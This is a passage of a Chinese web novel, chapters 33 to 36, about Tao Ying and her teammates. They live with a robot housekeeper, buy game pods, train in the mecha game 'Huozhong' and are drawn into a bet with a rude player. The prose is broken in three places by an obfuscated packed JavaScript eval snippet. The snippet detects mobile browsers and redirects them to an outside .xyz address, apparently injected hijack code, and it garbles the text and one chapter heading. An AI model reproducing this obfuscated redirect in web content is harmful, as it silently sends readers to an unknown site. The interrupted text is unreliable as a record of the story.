Dust手在空中划拉到一半，听见博美的话，突然僵住了。 博美一脸奇怪：“怎么了？” Dust欲言又止：“刚刚传输数据，智能管家消耗的电量好像太多了……” “啊？意思是陶影这个月要给你交大额电费？她之后发现你的身份，不会抽你吗？” Dust：“……” 人艰不拆。 博美：“不过你刚刚打算跟她说明身份吧，为什么突然放弃了？” Dust犹豫了一下：“你不懂的，近乡情怯。” 他有点害怕，当说出自己的名字，陶影会不会一脸疑惑地说“嗯？叶行晖？那是谁？我不记得了”。 博美哼唧两声。 Dust面露犹豫：“总之先，暂时……假装是智能管家吧。” 33. 第 33 章 学院的课程还在继续推进。 陶影因为养伤，每节上机课都见习。 经过上次的对战，周真他们大概也见识到了陶影队伍的实力，不敢再轻慢，开始分析她们的战斗风格，展开了一次次有来有回的认真对战。 对战难度急剧上升，目前为止，那次平局是陶影队最好的成绩。 不知不觉两个月的训练时间过去。 学校宿舍翻新完成，其它学生陆陆续续搬回宿舍楼。 不过陶影一直没提搬回去的事情。 “影子，我们要不要也回宿舍住啊？” 林别歌问得很犹豫，毕竟她虽然这么问，但已经被小叶的食物收买了。 她不想回那个食物难以下咽的机特学院！ “虽然很对不起食堂阿姨的关心，但……我已经没办法回去过喝营养液的苦日子了。” 南卦揽住院子里的小猫小狗，声泪俱下。 “我怎么可以离开我的毛绒绒小宝！不，小猫小狗，妈妈爱你们！妈妈要住在这里！” 而陶影——得益于小叶的食谱，脸色都养得红润了起来。 虽然还是体质F，但终于不会走两步心率就飙升到有氧状态了。 陶影：“学校宿舍不允许携带智能管家。为了身体考虑，我要留在这里。” “人之常情。”“俺也一样。” “那我们……？”林别歌和南卦眼神期待。 “——大学四年就住这里吧。” 陶影下结论道。 …… 花园里的杂草除干净之后，大家一致同意，从实用性考虑，优先种菜。 林别歌修缮了花园的秋千和凉亭。 南卦把院子里的流浪猫和流浪狗各一只，都收编了，逮去做完绝育之后，养在了院子里。 橘猫取名：油炸虎斑大面包二世。 简称大面包。 白色拉布拉多取名：尾巴抽人之王·哆啦A布·漆黑地狱的咏唱者。 简称哆啦A布。 以上两个名字，是这栋房子的两位住客，冥思苦想几天后取出来的。 在植入芯片的时候，工作人员因为名字太过离谱，曾数次从办公桌抬头，最后忍不住跟办理手续的两人合影了一张。 至于这两位取名人是谁，陶影就不透露了。 …… 菜园里的第一批小番茄已经成熟，一颗颗红通通的，很可爱。 林别歌和南卦掐了一点番茄，洗干净放到搅拌机里，日地一声打成糊糊，再加点糖，做番茄酱。 切斯特星特产番茄面！酸酸甜甜！纯天然原生态！营养丰富！ 林别歌和南卦在花园凉亭里吃着自己的杰作。 一片岁月静好。 大面包稳稳停在小叶圆滚滚的脑袋上。 小叶被它略有些不可描述的体重，压得左摇右晃，底盘发出咯吱咯吱的声音。 太重了。 大面包毛绒绒的，且实心胖。 片刻后，小叶露出(-_-;)的表情，回到房间里，给大面包开了个罐罐。 大面包“喵”一声就跳了下来，吃罐罐去了。 哆啦A布吃完饭，在菜地旁边转来转去，趁大家不注意，咬了一口菜——小叶的机械手伸了过来。 “哆啦A布，这是专门种给小影的，你不能吃，吃了会不消化。” 林别歌感叹：“小叶啊，哆啦A布也听不懂人话啊，你跟它说话有什么用……” 小叶转过头，Q萌的声音严肃道：“你也是，林别歌女士，请不要浪费番茄，它有更好的做法。南卦女士，请您监督好林别歌女士，不要让她干坏事。” 林别歌一个后仰：“怎么你叫影子就是小影，叫我们两个就是冷冰冰的‘林别歌女士’和‘南卦女士’？” 南卦：“可能激活它的是小影，所以小影权限比较高？” 林别歌：“真的假的，难怪我总觉得有时候叫它，它在装听不见……” 小叶默默转过了头，底盘砰地撞上一块石头。 它爬上台阶，在抹布上擦了擦底盘的泥土。 进入房屋。 “小影，时间到了，请吃健康餐。” 陶影：“啊？我还有工作没有做完，而且其实有时候也不用那么健康，味道也很重要……” 小叶冷酷地露出(=_=)表情，递上盘子。 “蔬菜有助于保持精力，可以补充维生素等多种你现在急需的营养。” “我……” “请吃。(=_=#)” 小叶屏幕上冒出一个代表怒气的井号。 陶影默默接过盘子，开始食用那盘绿意盎然的食物。 “我还是第一次看见影子拒绝不了的对象。” “小叶恐怖如斯！” 两位队友正在感叹竟然有人能让陶影吃瘪，突然门铃响了。 “嗯？谁啊？”林别歌坐起身。 这个小区安保特别好，平时买点什么东西，都是机器人管家送进来，很少有活人进来。 除非是什么非常贵重的东西，需要亲自签收。 “影子，你买了什么东西吗？” 陶影一脸菜色地从屋内探出头，在看到小叶不太赞成的表情后，艰难地吞下一口菜叶：“啊，对，你们帮我签收一下吧。” 快递太大，从一楼不好搬进去。陶影打开二楼游戏室的窗户，送货方的小型机甲叉起箱子，抬升到二楼高度后，慢悠悠把箱子从窗户运送进去。 一个接一个比林别歌体型还大的长方形箱子，被小型机甲搬了进来。 还有一些零零碎碎的小东西，用箱子装了起来，陶影指着二楼的空房间。 “放这里吧。林别歌，南瓜，来帮忙拆一下包装，有两个是买给你们的。” “啊？什么啊，吃的？” “你脑子里除了吃还有什么。” “打工赚钱买吃的。” “……” “所以买的究竟是什么？” 林别歌兴冲冲打开包装，光滑的蛋形舱体出现在她们面前。 她们忍不住爆发出一阵惊呼。 这，这是加西亚电子最新款的游戏舱！ 先端技术，画质高清，而且哪怕是无线连接，也可以达到星际全息游戏标准一级的低延迟，如果是脑机接口连接，甚至延迟可以再降低十成！ 但因为使用了先端技术，价格也不便宜，每个就要二十万星币。 她们一个月房租才五千。 林别歌颤抖着双手。 “你，你是说，这个游戏舱是给我们买的吗？” 陶影点头。 “你哪儿来的钱，”林别歌思索了一下，突然反应过来，“你拿体质手术的钱买的？这钱不能乱花啊！” 陶影微微一笑，并没有回答。 “不是乱花，这是投资。总之先试试吧。” 说完，陶影先一步躺进胶囊型游戏舱，林别歌和南卦也好奇地躺了进去。 伸了伸腿，正好可以完全进去。林别歌非常激动。 她因为身高，有时候睡学校的床，都要缩着身子。而影子还特地考虑到身高，帮她买了大号游戏舱。 林别歌非常感动，但下一秒，她的本能开始亮起警告的红灯。 不对，以影子的性格，是绝不可能干赔本买卖的。 这件事情没有那么简单！ 林别歌眼神突然变得犀利，她缓缓从游戏舱里坐起来，一脸看到鬼的表情。 果然，陶影又露出她坑人前，标志性的微笑。 “不是免费的。” “提醒一下，星际机甲联赛的报名快开始了，三个月之后开始海选，回头一起参加。” “哦，放心，报名费我出，你们负责 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692708|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比赛就行。” 林别歌&南卦：“……” 果然免费的就是最贵的。 陶影拆开刚刚寄到的另一个小箱子，里面全是游戏。 林别歌还在纠结：“切斯特星高手云集，我们连海选赛都过不了吧？” “不想参加，我当然也不强求。那这游戏舱我就退回去了？哎，真可惜，我买了很多好玩的游戏来着，什么全息美食经营，”陶影在美食两个字上重音了一下，“听说里面的味觉模拟很厉害，还有猫咪模拟器，恋爱体验……” 陶影一脸可惜地翻着游戏盒子，非常刻意地露出封面，勾得两位队友两眼呆滞。 陶影掏出光脑就要点击退货。 “哎哎等一下！”林别歌艰难地伸出手，此刻，她脑子里只有“美食”两个字。 “我参加！但我不保证任何事啊，就算第一场比赛就输了，游，游戏舱你也不能退……” 南卦抱着一旁的《猫咪模拟器》，这里面可以养三百个种类的猫猫，想怎么撸就怎么撸。 还有一系列的《狗狗模拟器》、《兔兔模拟器》、《大鹅模拟器》、《鳄鱼模拟器》、《蟑螂模拟器》。 南卦一把抱起游戏，两眼放光：“我，我会努力的！就算赢不了，也要输得很有艺术感！” 陶影微微一笑。 “不会输。我们会一直闯到决赛。” “接下来三个月，我们要进行高强度训练，做好准备。” · 既然游戏都到了，当然要先尝鲜。 三人连接好头部芯片，躺入游戏舱。 “先玩哪一个？” 陶影举起一个机甲封面的游戏盒。 上面用红色火焰的艺术字，写着《火种十周年纪念典藏版》。 《火种》，林别歌略有耳闻，是一款机甲模拟对战游戏，以真实性著称。 听说有些军校生，会把这个游戏当作模拟训练的一环。 原来买游戏舱是为了在游戏里训练开机甲。 林别歌无语：“影子，演都不演了是吧，现在就要开始机甲训练？” “今天只是体验一下。” “我信你个鬼！” 一道闪光侵入脑中，失重感瞬间将她们带入游戏的世界。 眼前闪过无数美丽绝伦的景色。 她们悬空在大气层，看见一个蔚蓝色的星球。 清新的空气灌入鼻腔。 这和切斯特星的空气不同，要更醇厚，还带着一种甜味。 庞大而稳定的生态系统，河流、海洋，高峰，山谷，壮丽或婉转的景色让不禁让人看得入迷。 南卦：“这，这难道是……” “蓝星。” 旁白回答了她的问题。 “蓝星，人类的母星。” “这里的生态达到完美的和谐。极北的冰川晶莹剔透，鲸群在宽广的海洋中游动。” “雨水之下，广袤的森林种下一片片的希望，草原上的物种不停孕育生机。” “它是人类世世代代美好的家园。” 随后，旁白深深地、幽幽地，叹了一口气。 “但也是我们永远回不去的梦。” 这句话结束的瞬间，画面一时静止。 无尽的寂静后，蓝星上，各个大陆的中心都爆出巨大的火光。 战争让文明瞬间回到原始的状态，不仅如此，因为毁灭性的攻击，地球的生态系统已经不再适合人类居住。 这时，幸存的人类只能离开他们生活了几万年的家园，陷入长久的太空流浪。 至此，人类带着仅剩的希望之火，来到切斯特星。 柔缓的歌声不断地、一遍又一遍地吟诵着。 愿星河长存，火种永不熄灭。 一阵空置的太空中行驶镜头后，三人眼前缓缓出现游戏标题。 《火种》。 34. 第 34 章 随后，她们的机甲离开大气层，在幽深的宇宙中，不断穿梭，跃迁。 最后停驻在那个她们无比熟悉的星球。 切斯特星。 不过在游戏里，它叫卡索涅尔星。 这颗星球，是以切斯特星的建筑为蓝本制造的。 机甲缓缓接近太空坞站。 通过游客观光的透明甬道，可以俯瞰整个星球的风景。 被天幕遮盖的半个星球，中间是灯火通明的城镇。城镇的周围，是一片接着一片的光能板，获得的能量足以支撑整个星球的运行。 而天幕外则地形复杂。 山谷、河流、沼泽、雪山等各种地形，分布在荒凉的C、D、E等区域。 因为是联机模式，三人眼前同时弹出一个免责声明。 【本作品纯属虚构，游戏中的人物、事件，均与现实无关。】 直到走到这个流程，林别歌这才反应过来，这不是真实世界，而是游戏。 林别歌大惊：“卧槽，虽然早就听说火种的口碑很好，但没想到做这么好。我还以为世界上只有美食经营游戏好玩呢。” 南卦还沉浸在刚才的史诗级画面中，没有走出来，眼泪哗啦啦往下流。 林别歌不解：“哭的点在哪里。” 有那么催人泪下吗？ 陶影伸手擦过南卦的脸颊，眼泪在手中化作蓝色的粒子，消失在空中。 陶影点头：“大概能理解。” 片头的分镜是海台科技的总裁和莱大艺术系学生一起设计的。 《火种》的项目组很小，一开始的团队甚至不超过十个人，记得是三个程序，五个美术，一个投资人兼策划。 一群年轻人怀揣梦想，熬夜两三个月，停停改改才打好初稿。 后来团队壮大后，又在每一部分做了细化，最后出来的效果非常精致，堪比高质量电影。 陶影第一次看到成品的时候，也很受触动。 她点点头：“太空与流浪都是容易让人流泪的。” 南卦吸吸鼻子，回话道：“我现在确定小影确实是个浪漫主义者。” “那我呢？”林别歌反问。 “没有心的石头。” “……” 机甲进入停泊舱。 这里大大小小停满了几十台机甲，本来以为都是和她们一样的新玩家，想上去打个招呼，但凑近了才发现都是NPC。 “毕竟都开服十几年了，已经进入游戏生命末期，没有什么新玩家了。” 陶影摊手。 一位技术人员焦虑地咬着亚麻辫，看到新人进来，把亚麻辫往背后一甩，前来接待她们。 “哪里来的新兵？算了，先下来吧。我要检查一下你们的机甲和身体情况。” 说完推着她们三个进入一个特定的空间。 技术人员递过来一张名单。 “我叫许若澄，以后你们会经常和我打交道，记住这个名字。” “喏，客套话我就不说了，忙着呢。在名单上填好你们的名字和个人信息，填完了叫我。” 递过平板，许若澄转头就走。甩着她的亚麻辫，跑到数据台前面，开始来来回回看着同一页数据。 显然是进入了NPC的自动模式，需要等待她们输入名字之后才会触发接下来的剧情。 陶影的面前浮现出一个蓝色的游戏弹窗。 【你好，新人驾驶员，这里是卡索涅尔星D区，机甲新兵接待处，请输入你的姓名。】 【提示：1.昵称后续可以使用游戏内道具更改。】 【2.点击骰子可以随机生成姓名。】 【3.珍惜游戏帐号，请勿在昵称中使用违规词汇，以防被系统屏蔽。】 陶影没怎么犹豫，昵称填了一个“S”，这是她惯用的ID，非常大众。 【姓名重复，请重新输入。推荐您使用S_24525356、S_23535646……等。】 游戏里S还挺多。 陶影想了想，在后面加了一串符号，点击确认。 显示的姓名依旧是“S”。 林别歌凑了过来：“咦？你怎么做到的？单一个字母S可是绝版的一位数ID，都开服这么久，肯定被人占了啊。” “后面一串代码是自动隐藏的。” “哦——那我这个能行吗？”林别歌转过身，露出她名单上的“莱拉我老婆”。 陶影缓缓地眨眼：“莱拉是谁？” “哦，我看的动画片里的一个白色猫猫兽人，是个大美女！你要看吗，我平台会员借你？” “不用了，我不是福瑞控。而且你ID五个字，字节数超了，用不了隐藏代码。” “什么？真的假的。”林别歌不信邪地复制过去后，果然不行。 林别歌只能再试了几个，但都重复了。 最后她随便输了一个林比格，秒通过。 林别歌：“……”比格这个名字跟她过不去了是吗！ 南卦本来想取一个非常文艺且充满象征性意义的ID，但纠结半天后，还是普通地输入一个“南瓜”，提交确认。 【请填写您的体质等级，以及根据自身需求，选择一些特殊基因病。】 【特殊体质包括：肢体缺乏、晕血、太空辐射综合症……】 填完游戏昵称，接下来就是最重要的体质了。 陶影把体质等级往下拉，C、D、E……最低只能选E。 她想都没想，直接选了最低的。 队友们也如法炮制，模拟现实体质选了略低一点的体质。 “先选低一点，就当作是给训练加的负重吧。之后解开负重，现实中开机甲会轻松一个级别。” 体质选择结束，许若澄接收到指令，走了过来，检查过名单后，在上面盖了一个章。 她拿起名单：“好的，S、林比格、南瓜，信息录入已完成。” 说完，一边的机器里打出三张ID卡，递到她们手里。 就在这个时候，警报声突然响起。 工牌掉落在地上，发出清脆的声响，几人的神经瞬间紧张起来。 她们所在的走廊，报警器像是传递警告的烽火，一个接一个闪烁起红色的灯光。 停泊舱开始剧烈震动。 “怎么回事？！” 许若澄扔下手中的工作，慌张地跑到房间外。 只见太空坞站用于观光的透明的高强度玻璃外，几只蜘蛛形态的虫族正缓缓朝这边飞来。 它们行走似乎是无序的，但又有一种难以总结的诡异规律感。 切斯特星星因为地理位置原因，周围的几个大国，组成了一道针对虫族的防线，所以对于虫族的围困，应急预案并不充足。 太空坞站的系统很久都没有进一步反应，只是不断重复着警告。 一只E级盲蛛砰一下摔到陶影的头顶。黏腻的黄色酸液噗哧一声，覆盖了她们面前的玻璃。 八条节肢在上面不停爬动，它的皮肤上稀稀拉拉地长着一厘米左右的黑色毛发，生长密度为一厘米毛孔一张一合。 它的口器不停喷出酸性液体，牙齿在玻璃上刮动，发出指甲抓挠的声音。 听得人头皮发麻。 “E级盲蛛攻击！避难，引导游客避难！” “修正，修正！大量E级盲蛛！预计数量：50只！数量还在上升，60，70，100……数量还在上升！！一级警告，一级警告！请求紧急支援！” 身边的游客茫然地抬起头。 “砰！” “砰！”“砰！”“砰！”“砰！”“砰！” 是一下又一下的撞击玻璃的声音。 因为太空坞站的引力圈，E级盲蛛密密麻麻，像雨点、像冰雹一样不停狠狠地砸下来。 甬道的一边，玻璃被拍出裂痕。 游客终于反应过来，发出尖叫声，开始到处逃散。 一群人丧失围城一般，疯狂在甬道内奔跑。但虫族因为声音受到刺激，更加疯狂地在头顶跳动起来。 玻璃碎裂了！ 一只E级盲蛛正好掉落在陶影面前。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699848|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陶影往后退了一步。 许若澄立刻将几个吓傻的“新兵”挡在身后，迅速拔枪，对准盲蛛的腹部开出一枪。 它的腹部瞬间炸开，流出黄色酸液，飙到许若澄的手臂上，她发出痛苦的忍耐声。 “总部请回答！总部请回答！停泊舱内当前没有一级机师！” 许若澄慌忙请求支援，但那边并没有回声。她低头一看，才发现对讲机已经被酸液腐蚀。 “他祖宗的！” 许若澄气愤地把对讲机摔了出去。 “元帅现在去了第二星系，可恶，这帮虫族，难道是故意将元帅引过去的吗！” 另一位工作人员跑了过来：“距离D区的支援赶来还有五分钟！再撑一会儿！” “哪有时间等五分钟！待会就全灭了！” 许若澄咬咬牙，回头朝这里唯一的几个新兵蛋子。 “死马当活马医了，跟我来！” 她们来到一个秘密仓库，里面是齐刷刷的几百台机甲。 游戏窗口弹出，大概是为了营造紧张氛围，窗口跳动着，上面还有一个60秒的倒计时。 【请根据分类选择您的机甲，也可以直接输入型号搜索。】 林别歌随便挑了一台看上去很厉害的机甲，许若澄过来就狠抽了她背一下。 “三等兵第一天就用弑神者，你开得明白吗你？！快选！虫族要进来了！” 说着似乎是配合剧情，仓库的门被E级盲蛛撞击，随后出现“滋”、“滋”的腐蚀声。 倒计时来到三十秒。 陶影友情提示：“高级机甲的选项现在是锁住的，我们等级太低，还是一周目，不能选。” 但即便这样，可供选择的普通机甲型号，也有一百多台。 林别歌看着五花八门的机甲型号挑花了眼，根本不知道怎么选，最后只能求助陶影。 “那选哪个？” 陶影搓搓下巴。 既然是训练，就按照她们比赛要使用的机甲来选。 但今年的星际联赛海选赛，统一采购的机甲型号还没有公布。 “先选VX-89吧，这个你们比较熟悉。” 按下确认键，一股坠落感后，三人就坐在了虚拟驾驶座上。 大概因为体质变成了E，陶影身体轻松了不少。 她自打来到这个身体之后就没有过这么畅快呼吸的感觉，每次呼吸都觉得肺上压了几块大石头。 手按上操纵杆，屏幕上显示： 【是否进入新手教程？新手教程涉及重要剧情，不可跳过。中途如果退出，需要重新开始教程。】 陶影朝两位队友最后确认一次：“都选好了吧？” 林别歌两手在空中比划，跃跃欲试：“比试一下我们谁先通过！” 【接收剧情任务。】 【剧情简介：你身为新时代的菜鸟机甲预备兵，在这天突然遇到大批虫族来袭，在大批士兵死亡，兵力不足的情况下，被赶鸭子上架拉上战场。】 【在指挥中心的帮助下，你需要成功击退攻击基地的十只虫族，才能完成任务。】 【当前任务进度：击杀E级虫族0/10。】 三个人被弹射出去，还来不及反应，就被一只E级盲蛛突脸。 八只手臂粗的附肢在驾驶舱的强化屏幕上缓缓爬动。 连麦的南卦和林别歌同时发出震耳欲聋的惨叫声。 陶影提前预判调低了音量，但还是被她们的声音震了一下。 “不用害怕，是假的。” 哪里像假的啊！终于知道为什么大家给《火种》的评价都是“真实性强”，“代入感强”了，这虫族突脸谁能不惨叫。 两位队友起了一身的鸡皮疙瘩，疯狂/操纵机甲甩动，才把盲蛛甩了下去。 林别歌破口大骂：“谁家新手任务打十只E级虫族？嗯？回答我？Lookinmyeyes！” 战场上连驾驶按钮都不熟悉的新人，对付一只虫族就够呛，她们现在要一人打十个？ 你管这叫新手教程？？ 35. 第 35 章 林别歌手忙脚乱的躲过一次攻击，凭借着前两个月练出来的熟练度，总算是先砍掉了一只。 真实，太真实了。 在获取他们的体质数据后，这台虚拟VX-89的驾驶体验感竟然和他们在现实中的体验感没有区别。 虽然一开始挺害怕的，但习惯了之后还怪叫人热血沸腾的。 林别歌吹起两根头发丝，忍不住又摸了一下驾驶操纵杆。 虫族的建模算中规中矩，但机甲的真实感真不是盖的！ “南瓜，我干掉五只了，你那边怎么样？” 南卦颤抖着声音回复：“我过完教程了。” “什么，你全杀光了？”林别歌受到了惊吓，差点没把操纵杆给掰断，“你怎么做到的？！” “那个盲蛛背上的寄生虫，你不觉得它们蠕动的方式很恐怖吗？就，一欧姆一欧姆地爬的那种！” “你是说__Ω__Ω吗……？” 南卦：“对啊！我一看见就什么都忘了，眼前一黑，只想把它们通通拍死。回过神就通关了，吓死我了。” ……非常害怕并在五分钟内干掉了所有敌人是吧。 “你也挺吓人的。” 林别歌心想自己也不能输，她被南卦的速度一激，手脚也越来越熟练，很快也将十只虫族都干掉了。 林别歌浑身是汗，气喘吁吁，教程过完后，虫族逐渐退去，机甲自动回到了停机坪。 许若澄NPC出现，走了一段剧情后，她被引导来到大厅，和南卦回合。 南卦在大厅的一处椅子上朝她挥手。 “这边这边！” 南卦竖起大拇指：“你动作比第一次上机的时候好多了。” 林别歌嘿嘿两声。 “你的爆发力也不错。对了，影子呢？” “我一直守在入口这里，没看见她，估计还在过新手教程。” 说起来，刚才她俩惨叫着杀敌的时候，陶影那边一直没有声音。 两人做完几个新手引导任务，在新手大厅找了个椅子坐下休息，她们买了杯饮料，喝了一口，味道怪怪的，让人有点想吐。看了一眼瓶身，上面写着冷冻咸鱼味营养液，商标旁边还有海台科技公司的logo。 抱着垃圾桶大吐特吐五分钟后，她俩瘫在路边的长椅上，对着手里的通信器，叫了陶影两声。 “呼叫S，呼叫S，你新手教程过得怎么样了。” 陶影没回答，直接把那边的画面传输了过来。 一片黑色，什么都看不见。 “什么情况？影子，你卡bug了？” “没。” 陶影平静地回了一句，也不知道怎么形容现在的状态。 “操纵杆太重，我推不动，被杀了，现在在复活区，等游戏资源重新加载。” 南卦、林别歌：“……” 操纵杆推不动，好新奇的死亡方式。 考虑到她的体质，倒也十分合理。 陶影打开面板设置。 “稍等，我把感官调低一点。” 林别歌：“体质差调低感官有什么用？” 南卦搓着发尖，思考一会儿，得出答案：“人体在察觉到感官负担的时候身体出于自我保护，会自动停止动作，感官调低的话，虽然反应会没那么灵敏，但会降低体质的负面反馈。小影的情况，这样应该反而能提高相同条件下的战斗时长……我猜？大概？” 南卦不太自信，越说越小声。 南卦的理解能力和分析能力都非常好。就是有些缺乏肯定。 陶影微笑着鼓励：“你分析得很合理，我确实是这个打算。” 南卦不好意思地搓搓手指。 陶影调低感官后，果然稍微能推动操纵杆了，但同时面对多只虫族还是有点困难。 “小影，你要不搜搜攻略。我刚看了一眼，新手教程的攻略还挺多的。” “体质E的攻略应该没有。” 林别歌找了一圈，大多都是推荐新人体质别选太低的，一个体质D以下的攻略都没有。 那影子如果靠体质E通过了新手教程，岂不是还挺厉害的？ 在论坛写篇教程的话，肯定能引起热议！ 陶影：“你俩先在城市里逛逛吧，熟悉一下地图，我知道虫族的数据，先自己打打。” “好。” 林别歌也没客气，拉着南卦，开始在小吃街大吃特吃。 陶影擦了擦头上的汗水。 E级盲蛛，会释放腐蚀性液体，腐蚀机甲的外壳，大量聚集的情况下，能对同一台机甲造成毁灭性打击。 虫族的危险等级，从SSS到E级，按照智慧程度和破坏性进行综合分类。 E级普遍智慧程度不高。所以利用它视力不好的弱点，可以运用一些技巧进行处理。 它们的视线在前方水平±45度的扇形区域内。 游戏内的话…… “以盲蛛的头部设立座标系，视线方向、水平面垂直于视线方向、盲蛛头顶的方向，分别为X、Y、Z轴。” 陶影将数据输入机甲的辅助计算软件。 很快，HUD面板上，将每一只盲蛛的感知死角都标识出来。 陶影只需要像躲开激光一样，在盲蛛扫描不到的区域进行移动，然后引开其中一只，逐个击破。 以这个方式干掉五只盲蛛后，陶影再次因为体质水平过低，被系统强行重开。 最好的一次，她打到第六只，但那是靠苟。 新手教程是有时间限制的，整场战斗超过一个小时也不行。 很快，五个小时过去了。 脑中传来轻微的闹铃声，是防沉迷提醒。 陶影从游戏舱爬出来，吃完小叶做的饭，被它强行拉去花园走了一圈，又继续进入游戏。 “比格，南瓜，你们先继续往后过主线剧情，解锁后面的初级副本再说。” “好。” 林别歌因为虫族长得太吓人，几度想要退出游戏，但被南卦拉着只能继续下一把。 很快，她们过完剧情，解锁了副本，再次回到大厅休息。 “哎，你们也是新人吗？”一个花衣服的毽子头老弟过来搭讪。 “通过第三章剧情之后，就可以组队进入初级副本了，要不我们组个队？我罩你们啊。” “不用。” “火种的新人不多，一些等级高点的新人为了爬榜，会挑着你们打PK的，我是二周目，可以带带你们。” “我们已经有队友了。” 林别歌和南卦礼貌拒绝，说着开始看陶影的训练。 毽子头被连续拒绝，面色不太好看。但他并没离开，反倒自来熟地凑过来，也开始看陶影的训练。 “哟，你们的队友还在过新手教程啊？” 南卦把镜头移了好几个位置，试图避开他的视线，但毽子头似乎没有意识到。 且对陶影的评价非常刻薄。 他长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703671|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 篇大论一番，从陶影的驾驶技术聊到雷瓦尔帝国的建国史，发散到亚克联邦的政/治/局势，话锋一转，莫名开始聊他年收入一亿星币。 最后得出结论：“你们的朋友不适合这个游戏。” 这人是不是有病？ 林别歌一脸无语。 又过去了三个小时，陶影再次死亡，进入复活区休息。 不过这次，她成功在体质到达极限前，杀死了第七只虫族。 有进步。 新手教程的虫族智能是削弱过的，每局的刷新点和反应都相同，她熟练之后已经可以做到稳定一小时杀死六只虫族了。 估计再来三局就可以通关。 毽子头两手插兜：“我看她接下来十局也通关不了。” 林别歌刚刚吃完美食的好心情都没了，一脸匪夷所思地转头。 “不是哥们，有完没完，谁问你了？” “比格老师，我们走吧。”南卦扯了扯林别歌的衣角。 “我不想跟没素质的人呆在一起。” 一开始他要组队的时候，南卦就觉得这个人身上的气场让人不舒服，在说小影不适合这个游戏的时候，他语言中自然流露出的轻视，让南卦觉得“他果然不是什么好人”。 当着她们的面这么贬低她们朋友，能是什么好人。 林别歌虽然完全不懂南卦在想什么，但看南卦抱着她手臂，一付要咬人，气冲冲瞪着那哥的表情，担心她一把将人给揍了，就要走。 毽子头哥有点急了，追上来。 “哎哎，怎么走了，我有哪句话说得让你们不舒服了？难道是说你们朋友十局也通关不了那句？我道歉好吧。” 他用着哄小孩的语气。 南卦生气一上头，比林别歌还冲动，她不顾林别歌的阻拦，直白道： “这位长相奇特的男士，长得丑不是你的错，但说我朋友十局通关不了，很没有礼貌，被拒绝就死追上来的行为也很讨人厌，离我们远点，谢谢。” 似乎是没想到刚才话都说得非常小声，一看就弱弱的南卦，能这么有主见地说出自己的意见，毽子头吓了一跳，但他心里不屑，很快又摆出一副游刃有余的样子，笑道： “我就说个实话，你还生气了，真是，要不我们打个赌吧。” “就赌十局之内，她能不能过新手教程。赌一百万火种币，怎么样？” “谁要跟你赌。” “怎么，怕输不敢赌啊？” 南卦没吱声，手默默伸向了旁边的垃圾桶，林别歌想起之前她在战斗场倒拔公告牌的英勇事迹，飞速按下南卦打算举垃圾桶的手。 林别歌小声：“喂南瓜，你冷静点。” 这时，身侧传来一声极其平稳的女声。 “没关系，和他赌。” 南卦愣了一下，转向林别歌：“你刚刚说话了？” 林别歌茫然地摇摇头：“我没说话啊。” 俩人反应过来，同时看向手中的通讯器。 “小影？”“影子？” 她俩齐声：“你新手教程过了？” “没过，被第八只盲蛛咬死了。” 毽子头略带嘲讽地笑了一声。 “哟，胆子还挺大。” 陶影对他的嘲讽视若无睹，只是对队友说：“你们刚刚说的我都听见了。” 她敲敲耳机，按下暂停，随后将镜头移向自己，给了队友一个微笑。 “100万火种币，和他赌。” 36. 第 36 章 “不是，你确定？”林别歌提溜着通讯器，一脸迷惑，“我们都是新人，哪儿来的一百万火种币？” 林别歌看了一眼刚刚自己做完新手任务的游戏账户。 【火种币余额：8。】 南卦也看了看自己的，她因为没怎么吃，剩下的要比林别歌多一点。 【火种币余额：1580。】 但也没多少。 再看刚才赌局，是要一百万火种币。后面多了个十百千万……林别歌数学不好，总之很多位。 “小影，我们哪来那么多币可以赌啊？” 陶影轻抬下颌：“去火种银行。” 毽子头愣神了一下，这个用户S竟然还知道火种银行？ 这个地方，一般只有玩到后期，而且是非常资深的玩家才会知道。 “你不会是排行榜上的大佬吧？” 说起来她这个ID，竟然只有一位数，说不定真是什么隐藏的大佬。 男子的语气中略带一丝试探，陶影笑了。 “那我还会过不了新手教程？先开个传送道具过去银行那边吧，我休息一下，等会开始打第七局。” “行。” 毽子头从背包里拿出一个黑色的金属体，按住顶部的按钮两秒后，一道蓝色光线圈住林别歌和南卦。 地上出现一个光柱。 光柱带着三人来到一个破旧的区域。 南卦环视周围：“这是……” “E区？” 卡索涅尔星的A区是核心商业区，B区是人口最多的区域，C区是工业区，D区则是贫民区。 繁华程度和经济，从A区开始逐渐下降。 但哪怕是被称作贫民区的D区，因为环境内有生命迹象，也有各种奇特的地形，所以开发了观光，还有机甲赛场等各种业务。 总之算是有一套成熟的商业体系。 而E区，是这以外所有地区的统称，作为边缘地带，非常荒凉。 因为环境危险，周围都有电网封闭。 